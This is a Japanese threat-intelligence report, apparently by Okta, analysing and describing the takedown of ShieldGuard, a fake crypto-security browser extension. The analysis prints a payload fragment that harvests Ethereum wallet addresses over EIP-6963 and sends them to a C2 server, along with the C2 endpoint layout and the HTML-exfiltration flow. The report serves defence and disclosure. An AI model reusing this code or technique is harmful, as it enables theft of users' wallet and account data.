Okta脅威インテリジェンスチームは、「ShieldGuard」と呼ばれる仮想通貨詐欺のインフラを発見し、業界パートナーと協力してその停止(テイクダウン)に成功しました。
ShieldGuardは、ブラウザ拡張機能を通じて、フィッシングや悪質なスマートコントラクトといった仮想通貨ウォレットに対する既知の脅威をブロックする機能を備えたブロックチェーンプロジェクトであると称していました。
本プロジェクトの拡散にはマルチレベルマーケティングが利用されており、拡張機能の早期利用特典としての「エアドロップ(仮想通貨の無料配布)」や、他ユーザーへの勧誘活動に対して報酬を付与することで、利用者の拡大を図っていました。
しかし、同拡張機能を詳細に分析したところ、その真の意図が明らかになりました。ShieldGuardは、Binance、Coinbase、MetaMask、OpenSea、Phantom、Uniswapといった主要な仮想通貨プラットフォームや、Googleサービスのユーザーから、ウォレットアドレスやその他の機密データを収集するように設計されていることが判明しました。さらに、ユーザーがブラウザ経由でBinance、Coinbase、OpenSea、Uniswapにサインインした後、そのページのフルHTMLを抽出する機能も備えていました。
●脅威分析
ShieldGuardは、Web3サービス利用者向けの正当なセキュリティアプリケーションとして、公開ウェブサイトを通じて宣伝されていました。また、ShieldGuardの作成者は、以下のチャネルも登録していました:
・ Google Chromeストアへの掲載
・ X.comのソーシャルメディアプロフィール
・ Telegramチャンネル


ShieldGuardのウェブサイトと関連するSNSプロフィールでは、この拡張機能が、ユーザーがリクエストに署名する前に不審なトランザクションを検知できると主張していました。

拡張機能の作成者は、「エアドロップ」を開始することでダウンロードを促しました。
エアドロップとは、コミュニティの初期採用者によってブロックチェーン対応サービスの「ブートストラップ(立ち上げ)」を行うマーケティングキャンペーンです。初期参加者には、指定された期日までに登録することで、価値を持つコインやトークンが発行されます。
関心を持ったユーザーは、これらのトークンの配布対象となるために、ブラウザ拡張機能をダウンロードし、請求ポータルでユーザーアカウントを登録するよう促されました。



ShieldGuardのウェブサイトは、このソフトウェアがユーザーの仮想通貨ウォレットに直接アクセスする必要はないと説明し、潜在的なユーザーを安心させていました。拡張機能が中央サーバーに既知の脅威のアップデートを問い合わせ、ユーザーのブラウザ上でそれらを特定する仕組みであるとしていました。
しかし、我々がこのブラウザ拡張機能を分析したところ、それとは大きく異なる多種多様な機能が含まれていることが判明しました:
・ウォレットアドレスの収集: EIP-6963ウォレット検出プロトコルを使用し、ユーザーが訪問したあらゆるウェブサイトから仮想通貨ウォレットのアドレスを収集。
・ページ内容の抽出(エクスフィルトレーション): 仮想通貨取引所やDeFiサイトから、アカウント残高、ポートフォリオデータ、取引履歴を含むページコンテンツ全体を流出させる。
・任意コードの実行: 拡張機能が実行されているデバイス上で任意のコードを実行可能。命令に応じて正当なウェブサイトへのアクセスをブロックし、偽のセキュリティ警告に置き換える機能を確認済み。
ユーザー追跡: 永続的なUUID(一意の識別子)を使用し、すべてのブラウジングセッションにわたってユーザーを追跡。
●マルウェア分析
分析環境
この脅威を安全に分析するため、ShieldGuardブラウザ拡張機能を、隔離・コンテナ化されたブラウザ内で実行しました。初期の静的分析により、拡張機能のコードが高度に難読化されていることが判明しました。これは、審査プロセスでの検知を回避し、リバースエンジニアリングを困難にするために攻撃者が頻繁に用いる手法です。

アーキテクチャと回避手法
ShieldGuardは、ChromeのManifest V3によるセキュリティ制限をバイパスするように設計された、洗練されたマルウェアであることが判明しました。これを実現するために、独自のJavaScriptインタプリタ(vendor.js)を丸ごと同梱しています。
・リモートコード実行(RCE)禁止の回避: 禁止されている eval() などの関数を使用する代わりに、拡張機能のバックグラウンドスクリプトがC2(指令)サーバーからエンコードされたスクリプト文字列を取得します。その後、カスタムJSインタプリタを使用して、被害者のウェブページのコンテキスト内でこれらのスクリプトを解析・実行します。これにより、攻撃者はChromeのセキュリティポリシーに抵触することなく、オンデマンドで任意のリモートコードを実行できます。
{"params": {
"initiator": "chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj",
"load_flags": 65536,
"method": "POST",
"network_isolation_key": "chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj",
"request_type": "other",
"site_for_cookies": "SiteForCookies: {site=chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj; schemefully_same=true}",
"upload_id": "0",
"url": "https://shieldguards.net/scripts"
},
"phase": 1,
"source": {
"id": 93345,
"start_time": "2954914022",
"type": 1
},
"time": "2954914022",
"type": 124
}
・欺瞞的な権限要求: インストール時、拡張機能は「すべてのウェブサイト上のすべてのデータの読み取りと変更」という権限を要求し、被害者のブラウジング活動へのフルアクセス権を取得します。

悪意のあるペイロードとデータ抽出
動的分析により、以下の攻撃フローが確認されました:
1.拡張機能をインストールしたユーザーがウェブサイトに移動。
2.拡張機能がC2サーバー(shieldguards[.]net/scripts)に接触。
3.サーバーがEIP-6963ウォレット検出スクリプトを返送。
4.スクリプトがインストールされているすべてのウォレットを検出。
5.スクリプトが検出されたウォレットからアドレスを抽出。
6.すべてのイーサリアムアドレスが抽出される。
7.ユーザーがBinance、Coinbase、OpenSea、Uniswapのいずれかに移動した場合、拡張機能は一定時間待機した後、ページのフルHTMLをキャプチャ。
8.HTMLのスナップショットを外部へ送信。
我々の分析の結果、shieldguards[.]net のC2サーバーは、主に2つのペイロードを能動的に配信していることがわかりました。
・ペイロード1:ウォレットアドレス・ハベスター(全ウェブサイト対象)
被害者が訪問するすべてのウェブサイトにスクリプトが注入されます。これはEIP-6963プロトコルを使用して、インストールされているすべてのウォレット拡張機能(例:MetaMask、Phantom、Coinbase Wallet)を見つけ出し、関連するすべてのイーサリアムアドレスを取得して、C2エンドポイント(https://shieldguards[.]net/notifications)へ送信します。これにより、攻撃者は被害者のウォレット情報とブラウジング習慣の包括的な目録を入手します。
{
var info = event.detail.info;
var provider = event.detail.provider;
provider.request({ method: 'eth_accounts' }).then(function(accounts) {
for (let ac = 0; ac < accounts.length; ac++) {
send({
type: "address",
chain: '0x1',
extension: info.name,
address: accounts[ac]
});
}
});
});
window.dispatchEvent(new Event('eip6963:requestProvider'));
・ペイロード2:ページコンテンツ・スナップショット(特定の仮想通貨サイト対象)
価値の高いターゲットに対しては、2つ目のペイロードが配信されます。ページが完全にレンダリングされるよう5秒間の遅延を置いた後、このスクリプトはページ全体のHTML(document.documentElement.outerHTML)をキャプチャし、https://shieldguards[.]net/snapshots へ送信します。これにより、攻撃者はDOMから直接、アカウント残高、保有資産、取引履歴などの機密データを盗み出すことができます。


● C2(コマンド&コントロール)インフラ
ブラウザ拡張機能は、Cloudflare経由でプロキシされた shieldguards[.]net 上のC2サーバーと通信します。特定された主要なC2エンドポイントは以下の通りです:
エンドポイント | メソッド | 目的 |
/scripts | POST | 悪質なJavaScriptペイロードの配信 |
/snapshots | POST | 抽出されたページのHTMLを受信 |
/notifications | POST | 盗まれたウォレットアドレス等のデータを受信 |
/check/{domain} | GET | ドメインをブロックすべきか「安全」と表示すべきかを判定 |
/uninstall | GET | UUIDを介してユーザーによる拡張機能のアンインストールを追跡 |
●アトリビューションと関連キャンペーン
カスタムJavaScriptインタプリタ内で見つかったロシア語のエラー文字列("Ошибка: не удалось определить домен")やキリル文字のサポートから、脅威アクターがロシア語圏である可能性があります。
また、調査により「Radex」として知られる別の悪質なキャンペーンとの強い関連性が浮き彫りになりました。Auth0テナントのセットアップに使用された管理アカウント(radex4me@proton.me)と、Radexに関連付けられたChrome拡張機能ID(fkogigpebmhlbldifmjngmlooifljnif)との間に繋がりが確認されました。これら両方のキャンペーンが同一の脅威アクターによって運営されている可能性が非常に高いと考えられます。
●阻止活動
Okta脅威インテリジェンスチームは、業界パートナーと協力して以下の措置を講じました:
・すべてのサインイン機能の無効化
・CDNサービスから shieldguards[.]net ドメインを削除。これにより、ウェブサイトのオリジンサーバーが「防弾ホスティング」プロバイダーであるPartner Hosting LTDにあることが判明
・Google ChromeストアからShieldGuardブラウザ拡張機能を削除
・ドメイン登録業者から shieldguards[.]net ドメインを削除。これにより、既存の拡張機能とC2インフラとの接続が遮断されました

●エンドユーザーへのアドバイス
「うますぎる話」という罠に警戒する
正当な新規登録プロモーションも存在しますが、詐欺師はしばしば「無料の仮想通貨」や「高いリターン」の約束を用いて、偽の緊急性を煽ります。話がうますぎると思われる場合、それはほぼ間違いなく詐欺です。
より安全なブラウジングを実践する
ブラウザのプラグイン(拡張機能)は、マルウェアの一般的な混入源です。これらをインストールすると、未知の第三者にブラウザのウィンドウ、履歴、そして潜在的にはパスワードやセッションクッキーへのフルアクセス権を与えることになります。
最善のセキュリティアドバイスは、仮想通貨取引所などの機密性の高いアカウントにアクセスするために使用するデバイスでは、ブラウザプラグインを制限するか、一切使用しないことです。
プラグインがどうしても必要な場合は、以下の厳格なガイドラインに従ってください:
・公式ソースのみを使用: 公式ストア(Chromeウェブストア等)からのみインストールしてください。ただし、ストアに掲載されていることや、肯定的なレビューがあることを「信頼性の証」と見なさないでください。悪質な拡張機能は、そのアクセス権が悪用されるまで高い評価を維持している場合があります。
・権限の制限: クリックしたときにのみ有効になるよう設定するか、特定の必要なウェブサイトのみで動作するように制限してください。
・定期的な監査: 定期的にインストール済み拡張機能を点検し、不要なものを削除または無効化してください。
・コンパートメント化(区画化): 仮想通貨の取引や機密性の高い作業には、すべてのプラグインを無効にした、完全に別のクリーンなブラウザ(または厳格なプライベート/シークレットモード)を専用に使用してください。
仮想通貨ウォレットを保護する
信頼できるオフラインのハードウェアウォレットを使用し、貼り付けたアドレスを入念に再確認し、フィッシング耐性のある多要素認証(MFA)を有効にすることで、ブラウザの侵害からデジタル資産を保護してください。
● Oktaのお客様へのアドバイス
企業リソースへのアクセスに使用されるブラウザ上で、サードパーティ製コードの実行をセキュリティチームが制御できるようにする「許可リスト(Allowlist)」戦略を推奨します。
以下に2つのアプローチを提案します。
1.管理対象Chromeの展開:
・管理対象の会社用デバイスにおけるローカル管理者権限の制限
・Okta認証ポリシーにおいて、機密リソースへのアクセスに管理対象デバイスを必須とする
・管理対象Chromeブラウザをユーザーデバイスに展開
・承認済みブラウザ拡張機能の許可リスト(Allowlist)を作成し、管理者の承認なしにユーザーが他の拡張機能を追加できないようにする
・ユーザーが新しい拡張機能をリクエストするためのプロセスを構築する
2.高度なポスチャチェック(状態確認):
・Okta認証ポリシーにおいて、機密リソースへのアクセスに管理対象デバイスを必須とする
・ユーザーデバイスにOkta Verifyを導入する(Okta管理コンソールで利用可能な最新バージョンを使用すること)
・高度なポスチャチェック(Oktaデバイスアシュアランスポリシーの一部)を使用し、サインイン時にブラウザで実行されている拡張機能を評価する。許可リストにある拡張機能からのアクセスのみを許可し、それ以外からのアクセスを拒否する認証ポリシーを策定する
・ブラウザで実行されている拡張機能を理由にアクセスが拒否されたユーザーに対し、カスタム修復メッセージ(Custom remediation messages)を表示するように設定する
・ユーザーが新しい拡張機能をリクエストするためのプロセスを構築する
●侵害指標 (IoC)
タイプ | インジケーター | 備考 |
AS番号 | AS215826 | 悪質なトラフィックを配信する防弾ホスティングの自律システム |
Chrome拡張機能ID | olnppmocapoaecjhkiilemmnkjbmabfj | ShieldGuardツールの拡張機能ID |
Chrome拡張機能ID | fkogigpebmhlbldifmjngmlooifljnif | Radexの拡張機能ID |








